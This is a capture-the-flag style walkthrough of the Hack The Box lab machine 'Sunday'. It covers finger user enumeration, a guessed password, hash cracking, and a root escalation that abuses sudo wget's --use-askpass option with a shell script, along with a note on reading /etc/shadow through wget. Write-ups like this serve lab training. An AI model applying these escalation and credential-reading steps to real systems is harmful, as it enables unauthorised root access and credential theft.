> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-sunday.md). # HTB - Sunday ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd 111/tcp open rpcbind 2-4 (RPC #100000) 515/tcp open printer 22022/tcp open ssh SunSSH 1.3 (protocol 2.0) 65258/tcp open smserverd 1 (RPC #100155) ``` ### Port 79 - Finger hacktricks has a page for pen testing port 79. {% embed url="" %} {% embed url="" %}

we can use finger-user-enum to enumerate users. {% embed url="" %}

Among the users root, sammy and sunny have valid sessions. i will try to enumerate the passwords. guessing the password of sunny as sunday worked `sunny : sunday` ## Shell as Sunny

need to get as sammy.

user sunny can run troll as root. ```bash sunny@sunday:~$ sudo /root/troll testing uid=0(root) gid=0(root) ```

found the hash for sammy in the backup directory.

sammy user pass cracked. ## Shell as Sammy

```bash -bash-5.1$ ls user.txt -bash-5.1$ cat user.txt ce7f328834db2c82e184f89247519650 -bash-5.1$ ```

using the wget i can do a lot of things. gtfobins has a page for using wget to get to root. {% embed url="" %}

using the wget read the /etc/shadow. that said i can also try to read root.txt and root ssh keys.

### Shell as Root

-bash-5.1$ echo -e '#!/bin/sh\n/bin/sh 1>&0' > /tmp/tmp.sh
-bash-5.1$ chmod +x /tmp/tmp.sh
-bash-5.1$ sudo /usr/bin/wget --use-askpass=/tmp/tmp.sh 0
root@sunday:/home/sammy# id
uid=0(root) gid=0(root)
root@sunday:~# cat root.txt                                                                                                                                                                                                                 
261a3c48c384f7a23cfe35add786a547
root@sunday:~#

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